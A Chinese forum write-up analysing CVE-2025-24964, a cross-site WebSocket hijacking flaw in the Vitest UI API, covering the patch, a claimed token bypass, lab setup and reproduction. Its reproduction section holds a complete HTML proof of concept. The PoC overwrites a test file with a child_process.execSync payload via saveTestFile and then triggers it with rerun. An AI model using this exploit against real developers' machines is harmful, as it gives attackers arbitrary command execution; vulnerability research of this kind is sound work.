问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-24964:Vitest 跨站 WebSocket 劫持远程代码执行
漏洞分析
Vitest 是由 Vite 驱动的测试框架,在启用 api 选项(如通过 Vitest UI)时,
一、漏洞简介 ====== CVE‑2025‑24964 是一个极其危险的远程代码执行漏洞,攻击者只需诱导正在运行 Vitest 的开发者或 CI 环境访问恶意网页,即可通过 Cross‑site WebSocket 劫持(CSWSH)注入恶意测试代码,再调用 `rerun` 接口执行,绕过所有权限检查,可以**实现任意命令执行**。其 CVSS 3.1 分数高达 **9.6** 二、影响版本 ====== 1.0.0 至 1.6.0 1.6.1修复 2.0.0 至 2.1.8 2.1.9修复 3.0.0 至 3.0.4 3.0.5修复 小于 0.0.125 三、漏洞原理分析 ======== 本质上是在使用vitest时,调用API没有对来源做任何限制,也就导致只要是满足符合url的就可以调用这些API,我们先来看看补丁是怎么打的  这里新加入了一个函数 isValidApiRequest ,作用是验证是否是由本地发起的 它的逻辑实现如下:  大概意思就是现在UI在访问中会携带一个token,恶意网页没有办法获得token,也就没有办法进行API调用了 欧克,现在回到漏洞上来,我们可以先看看有哪些API可以使用,最终达到我们的RCE的目的。  这里我们主要使用三种: - `getFiles` — 列出当前已注册的测试文件路径 - `saveTestFile` — 写入或覆盖指定测试文件内容 - `rerun` — 重新运行指定测试文件 获取目标 → 注入恶意代码 → 执行触发 欧克,这也是其中一个利用方向,现在我们再回过头来分析补丁isValidApiRequest ,发现它的修复其实是非常粗糙的,这个token是UI自动注入到网页中的,那是否存在被获取的可能呢,安装了3.0.5的补丁版本后,在访问首页源码,果然如此,源码中可以直接拿到token值  欧克,那我们现在就把这个token附在原本我们调用的url后面  命令成功执行了,本文在6月11日写成,截至目前对3.2.3及之前,2.1.9之前,1.6.1之前的版本都可以存在,当然采取token的方式从一定程度上是有效的,因为这个相当于是一个内部的服务,除非将服务暴露,不然从外部网络是访问不到这个token的,但是在最新的3.2.3版本中,token变成了0,也就是相当于将补丁又删去了,暴露了相同的问题。  四、环境搭建 ====== 漏洞问题出自于Vitest,所以专门安装Vitest即可,安装Vitest的方法有很多,这里直接源码安装了,方便漏洞的调试 环境:ubuntu 20 1.准备环境 ------ ```php # 安装 pnpm(如果未安装) npm install -g pnpm node -v # 推荐 >= 18 pnpm -v # 推荐 >= 8 ``` 2.下载源码 ------ ```php # 任意你喜欢的目录,例如: cd ~/projects git clone https://github.com/vitest-dev/vitest.git cd vitest # 切换到 v3.0.4 漏洞版本 git checkout v3.0.4 ``` 3.安装构建 ------ ```php # 在 ~/projects/vitest 目录下 pnpm install #构建源码 pnpm build ``` 4. 本地链接 vitest 到全局 ------------------ ```php # 进入 Vitest 包所在目录 cd ~/projects/vitest/packages/vitest # 链接 vitest 到全局(方便后面在其它项目中使用) pnpm link --global ``` 5.运行 ---- ```php #在~/Desktop/vitest/packages/vitest vitest --ui ``` 运行后看到出现下面绿色部分就说明成功了,应该会自动调起浏览器访问这个网址  访问网址场景如下:  源码安装时配置好像有点问题,添加测试什么文件都是错的,但是npm安装倒是没问题,不过这不影响最后的漏洞复现,所以就没管了 五、漏洞复现 ====== 这里在使用WebSocket进行命令执行的时,需要符合对应的格式才能顺利的执行 1.获得已经注册的文件名,使用getFiles  2.对指定的文件覆盖payload,使用saveTestFile  这里的targetFile是第一步获得的一个文件名 3.运行指定的文件,使用rerun  浏览器访问恶意的html  命令执行成功  poc: ```php <html lang="en"> <head> <meta charset="UTF-8" /> <title>Vitest CVE-2025-24964 POC</title> <script src="https://unpkg.com/flatted@3.2.5/min.js"></script> <style> body { font-family: monospace; background: #f5f5f5; padding: 10px; } #log { white-space: pre-wrap; background: #222; color: #eee; padding: 10px; height: 400px; overflow-y: auto; border-radius: 5px; } </style> </head> <body> <h1>Vitest CVE-2025-24964 POC</h1> <div id="log"></div> <script> function log(...args) { console.log(...args); const logEl = document.getElementById('log'); logEl.textContent += args.map(a => typeof a === 'object' ? JSON.stringify(a, null, 2) : a).join(' ') + '\n'; logEl.scrollTop = logEl.scrollHeight; } const ws = new WebSocket('ws://localhost:51204/__vitest_api__?token=d0deff08-7601-4ea2-9188-b27175b9241b'); ws.addEventListener('open', () => { log('[WS Opened]'); // 先请求测试文件列表 const msg = { t: 'q', i: crypto.randomUUID(), m: 'getFiles', a: [] }; ws.send(Flatted.stringify(msg)); log('[WS Sent]', msg); }); ws.addEventListener('message', event => { let data; try { data = Flatted.parse(event.data); } catch(e) { log('[WS Parse Error]', e, event.data); return; } log('[WS Message]'); // 监听 getFiles 返回数据 if ( Array.isArray(data?.r)) { const testFiles = data.r; //log('[Test files]', testFiles); // 找到第一个测试文件 const targetFile = testFiles.find(f => typeof f.filepath === 'string' && (f.filepath.endsWith('.test.ts') || f.filepath.endsWith('.test.js')) )?.filepath; if (!targetFile) { log('[Error] No test file found!'); return; } log('[Target file]', targetFile); // 准备注入代码,执行创建文件的命令(示例) const payload = ` import child_process from 'child_process'; child_process.execSync('touch /tmp/pwned'); `.trim(); // 发送保存测试文件请求,覆盖原内容 const saveMsg = { t: 'q', i: crypto.randomUUID(), m: 'saveTestFile', a: [targetFile, payload] }; ws.send(Flatted.stringify(saveMsg)); log('[WS Sent] saveTestFile', saveMsg); // 发送重新运行请求 const rerunMsg = { t: 'q', i: crypto.randomUUID(), m: 'rerun', a: [targetFile] }; ws.send(Flatted.stringify(rerunMsg)); log('[WS Sent] rerun', rerunMsg); } //log('2222222', data); // 监听其他反馈 if (data?.m === 'saveTestFile' || data?.m === 'rerun') { log('[Action Response]', data); } }); ws.addEventListener('close', () => log('[WS Closed]')); ws.addEventListener('error', e => log('[WS Error]', e)); </script> </body> </html> ``` 这里我们再测试一下,将恶意的html不放在本地,也就是模拟开发者浏览网页误触到恶意网站,稍稍改动了一些函数,成功实现命令执行。  六、修复建议 ====== 更新官方的最新版 未更新前不使用Vitest的UI功能 七、总结 ==== 对补丁进行分析是一个非常重要的步骤,不全面的补丁可能被绕过,并且一些版本更新有时也有可能遗漏之前的补丁,所以针对每次的版本改动进行分析和对代码的审计都非常重要。
发表于 2025-07-15 09:00:00
阅读 ( 390 )
分类:
Web应用
2 推荐
收藏
0 条评论
请先
登录
后评论
cipher
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!